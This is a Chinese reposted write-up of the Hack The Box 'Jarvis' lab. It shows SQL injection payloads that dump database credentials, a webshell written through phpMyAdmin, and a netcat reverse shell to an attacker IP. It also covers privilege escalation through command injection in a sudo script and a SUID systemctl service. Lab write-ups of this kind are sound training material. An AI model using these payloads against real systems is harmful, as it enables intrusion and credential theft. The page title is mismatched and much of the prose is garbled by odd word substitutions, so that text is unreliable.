首页 » PHP教程 » php做cod网站技巧_HTB靶场记录之Jarvis

php做cod网站技巧_HTB靶场记录之Jarvis

访客 2024-12-18 0

扫一扫用手机浏览

文章目录 [+]

前期回顾>>

HTB靶场记录之OpenAdmin

php做cod网站技巧_HTB靶场记录之Jarvis

HTB靶场记录之Popcorn

php做cod网站技巧_HTB靶场记录之Jarvis
(图片来自网络侵删)

HTB靶场记录之Europa

HTB靶场记录之Cronos

HTB靶场记录之Arctic

HTB靶场记录之SolidState

本文是 i 春秋论坛作家「皮卡皮卡丘」表哥分享的技能文章,"大众年夜众号旨在为大家供应更多的学习方法与技能技巧,文章仅供学习参考。

HTB是一个靶机平台,里面包含多种系统类型的靶机,并且很多靶机非常贴近实战情景,是一个学习渗透测试不错的靶场。

1、靶机先容

这次的靶机是Jarvis,很适宜练手,难点在提权。

2、信息网络

这里我先用autorecon进行信息网络。

Autorecon集成nmap,nikto等操作可以比较全面的进行端口扫描。

用法也比较大略,只须要python autrecon.py IP就可以了。

同时会把报告保存成txt文件打开report即可,这次开了22和80端口。

访问80端口正常回显,无需添加host文件。

下一步开始用dirbuster挖掘目录信息,这次居然有一个phpmyadmin还有一些其它js,css页面。

3、利用工具getshell一条龙

往下拉,然后再随机打开一个页面经典的?xxx=1。

肌肉里面的sqlmap果断激活了,然而这个靶机是有WAF的,这个WAF有点奇怪。

你用sqlmap搞普通注入封你90S。
但是你用sqlmap直接—os-shell(对注入成功的网站考试测验写shell)顺便加个batch(自动添补)直接一步到位。

末了直接涌现个os-shell代表成功,同时输入whoami等命令皆可实行成功。

但sqlmap的shell有时候输入其它的命令会进入去世机状态,不会回显。
以是须要添加一个新的反弹shell。

由于目标是一个Linux靶机,一样平常都配有python,以是我们可以参考一波这个各种措辞:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

这里要轻微修正一下IP和一个新的端口。

同时须要开启nc,可以得到一个新的稳定shell。

4、手工注入到getshell

手工注入对付脚本小子而言是一件比较折磨的事。

毕竟以前都是sqlmap跑,有WAF提高level级别。

弗成就下一个更随意马虎,现在重新复习回显错注入了。

手工注入这部分比较啰嗦,可以跳过这部分。

这里首先用最大略的不加任何单引号双引号括号屏蔽用and 1=1测试

10.10.10.143/room.php?cod=1 and 1=1#正常

而换成1=2不正常,实锤有注入

10.10.10.143/room.php?cod=1 and 1=2#不正常

接下来便是用order by测试

10.10.10.143/room.php?cod=1 order by 7#正常

10.10.10.143/room.php?cod=1 order by 8#不正常

确认好字段数为7往后,须要用到union来爆破显错位,当然还是比较多的。

10.10.10.143/room.php?cod=1 union select 1,2,3,4,5,6,7#无报错点位

10.10.10.143/room.php?cod=-100 union select 1,2,3,4,5,6,7#有报错点位

开始进入查数据库名阶段在2,3,4,5皆可把数字更换成关键词进行查询。
这里我选择输出2作为更换点换成database()爆出一个数据库名出来。

10.10.10.143/room.php?cod=-100 union select 1,database(),3,4,5,6,7#得到一个数据库。

这里我喜好用group_concat功能,直接把所有数据库名都给拖出来。

10.10.10.143/room.php?cod=-100 union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata#得到所有数据库名。

这里选择mysql库查看里面的内容(hotel里面的内容并不主要主要的是mysql库)。
这里还是用group_concat,由于表太多了,只能复制到文本里面。

主要的是末了面有一个user表

http://10.10.10.143/room.php?cod=-100 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='mysql'#查询mysql数据库里面的内容。

开始查询user表里面的内容里面有2个关键词User和Password,果断选择它们。

http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='user'#查询user表里面的所有字段内容:

末了只得到一个账号和密码

http://10.10.10.143/room.php?cod=-100 union all select 1,group_concat(User,Password),3,4,5,6,7 from mysql.user#查询所有user表里面所有关于User和Password字段的内容:

找一个MD5在线解密成功。

此时拿着我们的DBadmin和imissyou密码可以登录phpmyadmin。

同时我们可以点击SQL写一句话木马进去。

由于是Linux靶机可以大概确定绝对路径为/var/www/html

此时在前端访问成功。

把语句换为nc-e /bin/bash 10.10.14.23 6666,提前开启nc成功吸收shell。

5、提权变成正常用户

开始利用sudo -l创造一个pepper可实行的Python程序。

先cd过去用cat看看里面的内容可用ping IP命令,多数可能存在命令实行。

同时存在一些过滤符号。
但这里没过滤全。
比如$(命令)这条漏网之鱼不在那我们就可以利用了。

写一个.sh文件里面包含根本的反弹语句,然后利用python模式开启共享模式(不用php的缘故原由是传不上去..)。

然后我们苟到/tmp目录下把文件接过来。
记得用chmod 777给权限。
否则可能运行不了。

开始运行该脚本先输入-p然后输入一个正常的IP后面开始用$()运行我们的反弹脚本。

提前开启nc成功吸收shell同时可以读取第一个flag。

6、二次提权

这次sudo -l倒了只能换成find找找分外权限,看到一个systemctl。

关于提权信息可以参考gtfobin。

但这个网站须要小小的邪术帮助。

但须要有一点变动。

我们这次运行的systemctl是一个.service文件类型的东西。

有点像文本一样,以是首先打消echo。
其实在ExecStart那个变量最好变动成一个shell这样方便点。
(这里我用回上面的python shell)。
末了不须要变量$IF

再次用wget传上去往后一定要用link连接否则实行不了。

现在开始启动:

此时提前开好nc成功接回root的shell提权成功。

Bastard属实折磨,三过而打不进去。

标签:

相关文章